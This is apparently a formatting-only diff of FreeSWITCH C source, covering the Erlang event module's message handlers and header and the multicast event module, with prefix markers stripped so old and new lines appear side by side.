if ((strlen(esname) && switch_event_create_subclass(&event, etype, esname) == SWITCH_STATUS_SUCCESS) ||
switch_event_create(&event, etype) == SWITCH_STATUS_SUCCESS) {
switch_event_create(&event, etype) == SWITCH_STATUS_SUCCESS) {
char key[1024];
char value[1024];
int i = 0;
switch_bool_t fail = SWITCH_FALSE;
while(!ei_decode_tuple_header(buf->buff, &buf->index, &arity) && arity == 2) {
while (!ei_decode_tuple_header(buf->buff, &buf->index, &arity) && arity == 2) {
i++;
if (ei_decode_string(buf->buff, &buf->index, key) ||
ei_decode_string(buf->buff, &buf->index, value)) {
if (ei_decode_string(buf->buff, &buf->index, key) || ei_decode_string(buf->buff, &buf->index, value)) {
fail = SWITCH_TRUE;
break;
}
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, key, value);
}
if (headerlength != i || fail) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
}
else {
} else {
switch_event_fire(&event);
ei_x_encode_atom(rbuf, "ok");
}
@@ -452,43 +439,40 @@ static switch_status_t handle_msg_sendevent(listener_t *listener, int arity, ei_
return SWITCH_STATUS_SUCCESS;
}
static switch_status_t handle_msg_sendmsg(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
static switch_status_t handle_msg_sendmsg(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
char uuid[SWITCH_UUID_FORMATTED_LENGTH + 1];
int headerlength;
if (ei_decode_string_or_binary(buf->buff, &buf->index, SWITCH_UUID_FORMATTED_LENGTH, uuid) ||
ei_decode_list_header(buf->buff, &buf->index, &headerlength)) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
}
else {
} else {
switch_core_session_t *session;
if (!zstr_buf(uuid) && (session = switch_core_session_locate(uuid))) {
switch_event_t *event;
switch_event_t *event;
if (switch_event_create(&event, SWITCH_EVENT_SEND_MESSAGE) == SWITCH_STATUS_SUCCESS) {
char key[1024];
char value[1024];
int i = 0;
switch_bool_t fail = SWITCH_FALSE;
while(!ei_decode_tuple_header(buf->buff, &buf->index, &arity) && arity == 2) {
while (!ei_decode_tuple_header(buf->buff, &buf->index, &arity) && arity == 2) {
i++;
if (ei_decode_string(buf->buff, &buf->index, key) ||
ei_decode_string(buf->buff, &buf->index, value)) {
if (ei_decode_string(buf->buff, &buf->index, key) || ei_decode_string(buf->buff, &buf->index, value)) {
fail = SWITCH_TRUE;
break;
}
}
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, key, value);
}
if (headerlength != i || fail) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
}
else {
} else {
if (switch_core_session_queue_private_event(session, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
ei_x_encode_atom(rbuf, "ok");
} else {
@@ -496,7 +480,7 @@ static switch_status_t handle_msg_sendmsg(listener_t *listener, int arity, ei_x_
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badmem");
}
}
}
/* release the lock returned by session locate */
@@ -511,19 +495,17 @@ static switch_status_t handle_msg_sendmsg(listener_t *listener, int arity, ei_x_
return SWITCH_STATUS_SUCCESS;
}
static switch_status_t handle_msg_bind(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
static switch_status_t handle_msg_bind(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
{
/* format is (result|config|directory|dialplan|phrases) */
char sectionstr[MAXATOMLEN];
switch_xml_section_t section;
if (ei_decode_atom(buf->buff, &buf->index, sectionstr) ||
!(section = switch_xml_parse_section_string(sectionstr))) {
if (ei_decode_atom(buf->buff, &buf->index, sectionstr) || !(section = switch_xml_parse_section_string(sectionstr))) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
}
else {
} else {
struct erlang_binding *binding, *ptr;
if (!(binding = switch_core_alloc(listener->pool, sizeof(*binding)))) {
@@ -531,8 +513,7 @@ static switch_status_t handle_msg_bind(listener_t *listener, erlang_msg *msg, ei
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badmem");
}
else {
} else {
binding->section = section;
binding->process.type = ERLANG_PID;
binding->process.pid = msg->from;
@@ -547,7 +528,7 @@ static switch_status_t handle_msg_bind(listener_t *listener, erlang_msg *msg, ei
} else {
bindings.head = binding;
}
switch_xml_set_binding_sections(bindings.search_binding, switch_xml_get_binding_sections(bindings.search_binding) | section);
switch_mutex_unlock(globals.listener_mutex);
@@ -564,13 +545,13 @@ static switch_status_t handle_msg_bind(listener_t *listener, erlang_msg *msg, ei
or
{handlecall,<uuid>} to send messages back to the sender
*/
static switch_status_t handle_msg_handlecall(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
static switch_status_t handle_msg_handlecall(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
char reg_name[MAXATOMLEN];
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
if (arity < 2 || arity > 3 ||
(arity==3 && ei_decode_atom(buf->buff, &buf->index, reg_name)) ||
(arity == 3 && ei_decode_atom(buf->buff, &buf->index, reg_name)) ||
ei_decode_string_or_binary(buf->buff, &buf->index, SWITCH_UUID_FORMATTED_LENGTH, uuid_str)) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
@@ -580,8 +561,8 @@ static switch_status_t handle_msg_handlecall(listener_t *listener, erlang_msg *m
if (!zstr_buf(uuid_str)) {
if ((session = switch_core_session_locate(uuid_str))) {
/* create a new session list element and attach it to this listener */
if ((arity==2 && attach_call_to_pid(listener, &msg->from, session)) ||
(arity==3 && attach_call_to_registered_process(listener, reg_name, session))) {
if ((arity == 2 && attach_call_to_pid(listener, &msg->from, session)) ||
(arity == 3 && attach_call_to_registered_process(listener, reg_name, session))) {
ei_x_encode_atom(rbuf, "ok");
} else {
ei_x_encode_tuple_header(rbuf, 2);
@@ -607,17 +588,17 @@ static switch_status_t handle_msg_handlecall(listener_t *listener, erlang_msg *m
/* catch the response to ei_rpc_to (which comes back as {rex, {Ref, Pid}}
The {Ref,Pid} bit can be handled by handle_ref_tuple
*/
static switch_status_t handle_msg_rpcresponse(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
static switch_status_t handle_msg_rpcresponse(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
int type, size, arity2, tmpindex;
ei_get_type(buf->buff, &buf->index, &type, &size);
switch(type) {
case ERL_SMALL_TUPLE_EXT :
case ERL_LARGE_TUPLE_EXT :
switch (type) {
case ERL_SMALL_TUPLE_EXT:
case ERL_LARGE_TUPLE_EXT:
tmpindex = buf->index;
ei_decode_tuple_header(buf->buff, &tmpindex, &arity2);
return handle_ref_tuple(listener,msg,buf,rbuf);
return handle_ref_tuple(listener, msg, buf, rbuf);
default:
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Unknown rpc response\n");
break;
@@ -626,7 +607,7 @@ static switch_status_t handle_msg_rpcresponse(listener_t *listener, erlang_msg *
return SWITCH_STATUS_FALSE;
}
static switch_status_t handle_msg_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
static switch_status_t handle_msg_tuple(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
{
char tupletag[MAXATOMLEN];
int arity;
@@ -637,30 +618,29 @@ static switch_status_t handle_msg_tuple(listener_t *listener, erlang_msg *msg, e
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
}
else {
} else {
if (!strncmp(tupletag, "fetch_reply", MAXATOMLEN)) {
ret = handle_msg_fetch_reply(listener,buf,rbuf);
ret = handle_msg_fetch_reply(listener, buf, rbuf);
} else if (!strncmp(tupletag, "set_log_level", MAXATOMLEN)) {
ret = handle_msg_set_log_level(listener,arity,buf,rbuf);
ret = handle_msg_set_log_level(listener, arity, buf, rbuf);
} else if (!strncmp(tupletag, "event", MAXATOMLEN)) {
ret = handle_msg_event(listener,arity,buf,rbuf);
ret = handle_msg_event(listener, arity, buf, rbuf);
} else if (!strncmp(tupletag, "nixevent", MAXATOMLEN)) {
ret = handle_msg_nixevent(listener,arity,buf,rbuf);
ret = handle_msg_nixevent(listener, arity, buf, rbuf);
} else if (!strncmp(tupletag, "api", MAXATOMLEN)) {
ret = handle_msg_api(listener,msg,arity,buf,rbuf);
ret = handle_msg_api(listener, msg, arity, buf, rbuf);
} else if (!strncmp(tupletag, "bgapi", MAXATOMLEN)) {
ret = handle_msg_bgapi(listener,msg,arity,buf,rbuf);
ret = handle_msg_bgapi(listener, msg, arity, buf, rbuf);
} else if (!strncmp(tupletag, "sendevent", MAXATOMLEN)) {
ret = handle_msg_sendevent(listener,arity,buf,rbuf);
ret = handle_msg_sendevent(listener, arity, buf, rbuf);
} else if (!strncmp(tupletag, "sendmsg", MAXATOMLEN)) {
ret = handle_msg_sendmsg(listener,arity,buf,rbuf);
ret = handle_msg_sendmsg(listener, arity, buf, rbuf);
} else if (!strncmp(tupletag, "bind", MAXATOMLEN)) {
ret = handle_msg_bind(listener,msg,buf,rbuf);
ret = handle_msg_bind(listener, msg, buf, rbuf);
} else if (!strncmp(tupletag, "handlecall", MAXATOMLEN)) {
ret = handle_msg_handlecall(listener,msg,arity,buf,rbuf);
ret = handle_msg_handlecall(listener, msg, arity, buf, rbuf);
} else if (!strncmp(tupletag, "rex", MAXATOMLEN)) {
ret = handle_msg_rpcresponse(listener,msg,arity,buf,rbuf);
ret = handle_msg_rpcresponse(listener, msg, arity, buf, rbuf);
} else {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
@@ -670,7 +650,7 @@ static switch_status_t handle_msg_tuple(listener_t *listener, erlang_msg *msg, e
return ret;
}
static switch_status_t handle_msg_atom(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
static switch_status_t handle_msg_atom(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
{
char atom[MAXATOMLEN];
switch_status_t ret = SWITCH_STATUS_SUCCESS;
@@ -679,8 +659,7 @@ static switch_status_t handle_msg_atom(listener_t *listener, erlang_msg *msg, e
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
}
else if (!strncmp(atom, "nolog", MAXATOMLEN)) {
} else if (!strncmp(atom, "nolog", MAXATOMLEN)) {
if (switch_test_flag(listener, LFLAG_LOG)) {
void *pop;
/*purge the log queue */
@@ -707,7 +686,7 @@ static switch_status_t handle_msg_atom(listener_t *listener, erlang_msg *msg, e
void *pop;
/*purge the event queue */
while (switch_queue_trypop(listener->event_queue, &pop) == SWITCH_STATUS_SUCCESS);
if (switch_test_flag(listener, LFLAG_EVENTS)) {
uint8_t x = 0;
switch_clear_flag_locked(listener, LFLAG_EVENTS);
@@ -739,12 +718,12 @@ static switch_status_t handle_msg_atom(listener_t *listener, erlang_msg *msg, e
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "undef");
}
return ret;
}
static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
{
erlang_ref ref;
erlang_pid *pid;
@@ -765,17 +744,17 @@ static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, e
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badmem");
return SWITCH_STATUS_SUCCESS;
}
}
if (ei_decode_pid(buf->buff, &buf->index, pid)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid pid in a reference/pid tuple\n");
return SWITCH_STATUS_FALSE;
}
ei_hash_ref(&ref, hash);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Hashed ref to %s\n", hash);
if ((p = switch_core_hash_find(listener->spawn_pid_hash, hash))) {
if (p == &globals.TIMEOUT) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Handler for %s timed out\n", hash);
@@ -788,7 +767,7 @@ static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, e
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found waiting slot for %s\n", hash);
switch_core_hash_delete(listener->spawn_pid_hash, hash);
switch_core_hash_insert(listener->spawn_pid_hash, hash, pid);
return SWITCH_STATUS_FALSE; /*no reply */
return SWITCH_STATUS_FALSE; /*no reply */
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found filled slot for %s\n", hash);
ei_x_encode_tuple_header(rbuf, 2);
@@ -803,7 +782,7 @@ static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, e
ei_x_encode_atom(rbuf, "invalid_ref");
}
switch_safe_free(pid); /* don't need it */
switch_safe_free(pid); /* don't need it */
return SWITCH_STATUS_SUCCESS;
}
@@ -811,7 +790,7 @@ static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, e
/* fake enough of the net_kernel module to be able to respond to net_adm:ping */
/* {'$gen_call', {<cpx@freecpx.128.0>, #Ref<254770.4.0>}, {is_auth, cpx@freecpx} */
static switch_status_t handle_net_kernel_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
static switch_status_t handle_net_kernel_msg(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
{
int version, size, type, arity;
char atom[MAXATOMLEN];
@@ -881,7 +860,7 @@ static switch_status_t handle_net_kernel_msg(listener_t *listener, erlang_msg *m
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_ref(rbuf, &ref);
ei_x_encode_atom(rbuf, "yes");
switch_mutex_lock(listener->sock_mutex);
ei_send(listener->sockfd, &pid, rbuf->buff, rbuf->index);
switch_mutex_unlock(listener->sock_mutex);
@@ -893,7 +872,7 @@ static switch_status_t handle_net_kernel_msg(listener_t *listener, erlang_msg *m
}
int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
int handle_msg(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
{
int type, type2, size, version, arity, tmpindex;
switch_status_t ret = SWITCH_STATUS_SUCCESS;
@@ -905,37 +884,37 @@ int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff
buf->index = 0;
ei_decode_version(buf->buff, &buf->index, &version);
ei_get_type(buf->buff, &buf->index, &type, &size);
switch(type) {
case ERL_SMALL_TUPLE_EXT :
case ERL_LARGE_TUPLE_EXT :
switch (type) {
case ERL_SMALL_TUPLE_EXT:
case ERL_LARGE_TUPLE_EXT:
tmpindex = buf->index;
ei_decode_tuple_header(buf->buff, &tmpindex, &arity);
ei_get_type(buf->buff, &tmpindex, &type2, &size);
switch(type2) {
case ERL_ATOM_EXT:
ret = handle_msg_tuple(listener,msg,buf,rbuf);
break;
case ERL_REFERENCE_EXT :
case ERL_NEW_REFERENCE_EXT :
ret = handle_ref_tuple(listener, msg, buf, rbuf);
break;
default :
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "WEEEEEEEE %d %d\n", type, type2);
/* some other kind of erlang term */
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "undef");
break;
switch (type2) {
case ERL_ATOM_EXT:
ret = handle_msg_tuple(listener, msg, buf, rbuf);
break;
case ERL_REFERENCE_EXT:
case ERL_NEW_REFERENCE_EXT:
ret = handle_ref_tuple(listener, msg, buf, rbuf);
break;
default:
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "WEEEEEEEE %d %d\n", type, type2);
/* some other kind of erlang term */
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "undef");
break;
}
break;
case ERL_ATOM_EXT :
ret = handle_msg_atom(listener,msg,buf,rbuf);
break;
default :
case ERL_ATOM_EXT:
ret = handle_msg_atom(listener, msg, buf, rbuf);
break;
default:
/* some other kind of erlang term */
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
@@ -944,7 +923,7 @@ int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff
}
}
if (SWITCH_STATUS_FALSE==ret) {
if (SWITCH_STATUS_FALSE == ret) {
return 0;
} else if (rbuf->index > 1) {
switch_mutex_lock(listener->sock_mutex);
@@ -954,9 +933,9 @@ int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff
ei_x_print_msg(rbuf, &msg->from, 1);
#endif
if (SWITCH_STATUS_SUCCESS==ret)
if (SWITCH_STATUS_SUCCESS == ret)
return 0;
else /* SWITCH_STATUS_TERM */
else /* SWITCH_STATUS_TERM */
return 1;
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Empty reply, supressing\n");
File diff suppressed because it is too large. Load diff
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -33,8 +33,8 @@
*/
typedef enum {
LFLAG_WAITING_FOR_PID = (1 << 0), /* waiting for a node to return a pid */
LFLAG_OUTBOUND_INIT = (1 << 1), /* Erlang peer has been notified of this session */
LFLAG_WAITING_FOR_PID = (1 << 0), /* waiting for a node to return a pid */
LFLAG_OUTBOUND_INIT = (1 << 1), /* Erlang peer has been notified of this session */
LFLAG_SESSION_ALIVE = (1 << 2),
LFLAG_SESSION_COMPLETE = (1 << 3),
} session_flag_t;
@@ -114,7 +114,7 @@ struct listener {
uint32_t timeout;
uint32_t id;
char remote_ip[50];
/*switch_port_t remote_port;*/
/*switch_port_t remote_port; */
struct listener *next;
};
@@ -143,8 +143,8 @@ struct globals_struct {
unsigned int reference0;
unsigned int reference1;
unsigned int reference2;
char TIMEOUT; /* marker for a timed out request */
char WAITING; /* marker for a request waiting for a response */
char TIMEOUT; /* marker for a timed out request */
char WAITING; /* marker for a request waiting for a response */
switch_mutex_t *ref_mutex;
};
typedef struct globals_struct globals_t;
@@ -200,20 +200,20 @@ extern prefs_t prefs;
/* function prototypes */
/* handle_msg.c */
int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf);
int handle_msg(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf);
/* ei_helpers.c */
void ei_link(listener_t *listener, erlang_pid *from, erlang_pid *to);
void ei_encode_switch_event_headers(ei_x_buff *ebuf, switch_event_t *event);
void ei_encode_switch_event_tag(ei_x_buff *ebuf, switch_event_t *event, char *tag);
int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function);
int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function, int argc, char **argv);
void ei_init_ref(struct ei_cnode_s *ec, erlang_ref *ref);
void ei_x_print_reg_msg(ei_x_buff *buf, char *dest, int send);
void ei_x_print_msg(ei_x_buff *buf, erlang_pid *pid, int send);
int ei_sendto(ei_cnode *ec, int fd, struct erlang_process *process, ei_x_buff *buf);
void ei_hash_ref(erlang_ref *ref, char *output);
int ei_compare_pids(erlang_pid *pid1, erlang_pid *pid2);
void ei_link(listener_t *listener, erlang_pid * from, erlang_pid * to);
void ei_encode_switch_event_headers(ei_x_buff * ebuf, switch_event_t *event);
void ei_encode_switch_event_tag(ei_x_buff * ebuf, switch_event_t *event, char *tag);
int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function);
int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function, int argc, char **argv);
void ei_init_ref(struct ei_cnode_s *ec, erlang_ref * ref);
void ei_x_print_reg_msg(ei_x_buff * buf, char *dest, int send);
void ei_x_print_msg(ei_x_buff * buf, erlang_pid * pid, int send);
int ei_sendto(ei_cnode * ec, int fd, struct erlang_process *process, ei_x_buff * buf);
void ei_hash_ref(erlang_ref * ref, char *output);
int ei_compare_pids(erlang_pid * pid1, erlang_pid * pid2);
int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst);
switch_status_t initialise_ei(struct ei_cnode_s *ec);
#define ei_encode_switch_event(_b, _e) ei_encode_switch_event_tag(_b, _e, "event")
@@ -228,14 +228,14 @@ switch_status_t initialise_ei(struct ei_cnode_s *ec);
break; \
}
#ifdef WIN32 /* MSDN suggested hack to fake errno for network operations */
#ifdef WIN32 /* MSDN suggested hack to fake errno for network operations */
/*#define errno WSAGetLastError()*/
#endif
/* mod_erlang_event.c */
session_elem_t* attach_call_to_registered_process(listener_t* listener, char* reg_name, switch_core_session_t *session);
session_elem_t* attach_call_to_pid(listener_t* listener, erlang_pid* pid, switch_core_session_t *session);
session_elem_t* attach_call_to_spawned_process(listener_t* listener, char *module, char *function, switch_core_session_t *session);
session_elem_t *attach_call_to_registered_process(listener_t *listener, char *reg_name, switch_core_session_t *session);
session_elem_t *attach_call_to_pid(listener_t *listener, erlang_pid * pid, switch_core_session_t *session);
session_elem_t *attach_call_to_spawned_process(listener_t *listener, char *module, char *function, switch_core_session_t *session);
/* For Emacs:
* Local Variables:
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -37,7 +37,7 @@
#define MULTICAST_BUFFSIZE 65536
/* magic byte sequence */
static unsigned char MAGIC[] = {226, 132, 177, 197, 152, 198, 142, 211, 172, 197, 158, 208, 169, 208, 135, 197, 166, 207, 154, 196, 166};
static unsigned char MAGIC[] = { 226, 132, 177, 197, 152, 198, 142, 211, 172, 197, 158, 208, 169, 208, 135, 197, 166, 207, 154, 196, 166 };
static char *MARKER = "1";
SWITCH_MODULE_LOAD_FUNCTION(mod_event_multicast_load);
@@ -87,7 +87,7 @@ static switch_status_t load_config(void)
uint32_t count = 0;
uint8_t custom = 0;
globals.ttl = 1;
globals.key_count = 0;
@@ -116,7 +116,7 @@ static switch_status_t load_config(void)
#endif
} else if (!strcasecmp(var, "ttl")) {
int ttl = atoi(val);
if ((ttl && ttl <= 255) || !strcmp(val, "0")) {
if ((ttl && ttl <= 255) || !strcmp(val, "0")) {
globals.ttl = (uint8_t) ttl;
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid ttl '%s' specified, using default of 1\n", val);
@@ -176,22 +176,20 @@ static void event_handler(switch_event_t *event)
}
if (event->subclass_name && (!strcmp(event->subclass_name, MULTICAST_EVENT) ||
!strcmp(event->subclass_name, MULTICAST_PEERUP) ||
!strcmp(event->subclass_name, MULTICAST_PEERDOWN))) {
char * event_name, *sender;
!strcmp(event->subclass_name, MULTICAST_PEERUP) || !strcmp(event->subclass_name, MULTICAST_PEERDOWN))) {
char *event_name, *sender;
if ((event_name = switch_event_get_header(event, "orig-event-name")) &&
!strcasecmp(event_name, "HEARTBEAT") &&
(sender = switch_event_get_header(event, "orig-multicast-sender"))) {
!strcasecmp(event_name, "HEARTBEAT") && (sender = switch_event_get_header(event, "orig-multicast-sender"))) {
struct peer_status *p;
time_t now = switch_epoch_time_now(NULL);
if (!(p = switch_core_hash_find(globals.peer_hash, sender))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Host %s not already in hash\n", sender);
p = switch_core_alloc(module_pool, sizeof(struct peer_status));
p->active = SWITCH_FALSE;
p->lastseen = 0;
/*} else {*/
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Host %s last seen %d seconds ago\n", sender, now - p->lastseen);*/
/*} else { */
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Host %s last seen %d seconds ago\n", sender, now - p->lastseen); */
}
if (!p->active) {
@@ -200,7 +198,7 @@ static void event_handler(switch_event_t *event)
char lastseen[21];
switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Peer", sender);
if (p->lastseen) {
switch_snprintf(lastseen, sizeof(lastseen), "%d", (int)p->lastseen);
switch_snprintf(lastseen, sizeof(lastseen), "%d", (int) p->lastseen);
} else {
switch_snprintf(lastseen, sizeof(lastseen), "%s", "Never");
}
@@ -246,11 +244,11 @@ static void event_handler(switch_event_t *event)
time_t now = switch_epoch_time_now(NULL);
struct peer_status *last;
char *host;
for (cur = switch_hash_first(NULL, globals.peer_hash); cur; cur = switch_hash_next(cur)) {
switch_hash_this(cur, &key, &keylen, &value);
host = (char*) key;
last = (struct peer_status*) value;
host = (char *) key;
last = (struct peer_status *) value;
if (last->active && (now - (last->lastseen)) > 60) {
switch_event_t *local_event;
@@ -258,7 +256,7 @@ static void event_handler(switch_event_t *event)
if (switch_event_create_subclass(&local_event, SWITCH_EVENT_CUSTOM, MULTICAST_PEERDOWN) == SWITCH_STATUS_SUCCESS) {
char lastseen[21];
switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Peer", host);
switch_snprintf(lastseen, sizeof(lastseen), "%d", (int)last->lastseen);
switch_snprintf(lastseen, sizeof(lastseen), "%d", (int) last->lastseen);
switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Lastseen", lastseen);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Peer %s has gone down; last seen: %s\n", host, lastseen);
@@ -292,14 +290,14 @@ static void event_handler(switch_event_t *event)
#ifdef HAVE_OPENSSL
int outlen, tmplen;
EVP_CIPHER_CTX ctx;
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
switch_uuid_t uuid;
switch_uuid_get(&uuid);
switch_uuid_format(uuid_str, &uuid);
len = strlen(packet) + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + EVP_MAX_IV_LENGTH + strlen((char*)MAGIC);
len = strlen(packet) + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + EVP_MAX_IV_LENGTH + strlen((char *) MAGIC);
#else
len = strlen(packet) + sizeof(globals.host_hash) + strlen((char*) MAGIC);
len = strlen(packet) + sizeof(globals.host_hash) + strlen((char *) MAGIC);
#endif
buf = malloc(len + 1);
memset(buf, 0, len + 1);
@@ -313,20 +311,20 @@ static void event_handler(switch_event_t *event)
EVP_CIPHER_CTX_init(&ctx);
EVP_EncryptInit(&ctx, EVP_bf_cbc(), NULL, NULL);
EVP_CIPHER_CTX_set_key_length(&ctx, strlen(globals.psk));
EVP_EncryptInit(&ctx, NULL, (unsigned char*) globals.psk, (unsigned char*) uuid_str);
EVP_EncryptUpdate(&ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH,
&outlen, (unsigned char*) packet, (int) strlen(packet));
EVP_EncryptUpdate(&ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen,
&tmplen, (unsigned char*) MAGIC, (int) strlen((char *) MAGIC));
EVP_EncryptInit(&ctx, NULL, (unsigned char *) globals.psk, (unsigned char *) uuid_str);
EVP_EncryptUpdate(&ctx, (unsigned char *) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH,
&outlen, (unsigned char *) packet, (int) strlen(packet));
EVP_EncryptUpdate(&ctx, (unsigned char *) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen,
&tmplen, (unsigned char *) MAGIC, (int) strlen((char *) MAGIC));
outlen += tmplen;
EVP_EncryptFinal(&ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen, &tmplen);
EVP_EncryptFinal(&ctx, (unsigned char *) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen, &tmplen);
outlen += tmplen;
len = (size_t) outlen + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH;
*(buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen) = '\0';
} else {
#endif
switch_copy_string(buf + sizeof(globals.host_hash), packet, len - sizeof(globals.host_hash));
switch_copy_string(buf + sizeof(globals.host_hash) + strlen(packet), (char *) MAGIC, strlen((char*) MAGIC)+1);
switch_copy_string(buf + sizeof(globals.host_hash) + strlen(packet), (char *) MAGIC, strlen((char *) MAGIC) + 1);
#ifdef HAVE_OPENSSL
}
#endif
@@ -354,8 +352,8 @@ SWITCH_STANDARD_API(multicast_peers)
for (cur = switch_hash_first(NULL, globals.peer_hash); cur; cur = switch_hash_next(cur)) {
switch_hash_this(cur, &key, &keylen, &value);
host = (char*) key;
